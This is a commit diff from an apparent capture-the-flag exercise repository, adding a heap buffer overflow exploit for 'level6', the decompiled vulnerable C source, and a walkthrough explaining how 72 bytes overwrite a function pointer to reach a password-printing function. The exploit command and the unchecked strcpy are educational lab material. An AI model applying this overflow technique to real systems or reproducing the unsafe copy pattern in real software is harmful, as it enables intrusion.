level5 and level6 done

level6/ressources/exploit

@@ -0,0 +1 @@
+./level6 $(python -c 'print "A"*72 + "\x54\x84\x04\x08"')

level6/source.c

@@ -0,0 +1,26 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+void n(void)
+{
+	system("/bin/cat /home/user/level7/.pass");
+}
+
+void m(void)
+{
+	puts("Nope");
+}
+
+int main(int ac, char **av)
+{
+	char *buf;
+	void (**fn_ptr)(void);
+
+	buf = (char *)malloc(64);
+	fn_ptr = (void (**)(void))malloc(4);
+	*fn_ptr = m;
+	strcpy(buf, av[1]);
+	(*fn_ptr)();
+	return 0;
+}

level6/walkthrough

@@ -0,0 +1,9 @@
+# Level6
+
+Using ghidra, we can decompile the code and see that it calls `malloc` twice.
+The first malloc has a size of 64 bytes and is a buffer where the program will `strcpy(buf, av[1])`. The second one is a function pointer pointing to `m()` function by default (prints "Nope."). We want to change its value to point to the correct function `n()` that will open a shell.
+To achieve this, we will overflow the first malloc and the second one's header so that we can write the adress through the input in `av[1]`.
+To calculate the offset between the 2 allocations, we used gdb's breakpoints and prints, leading us to an offset of 72 bytes (64 + 8).
+
+Here is the command:
+./level6 $(python -c 'print "A"*72 + "\x54\x84\x04\x08"')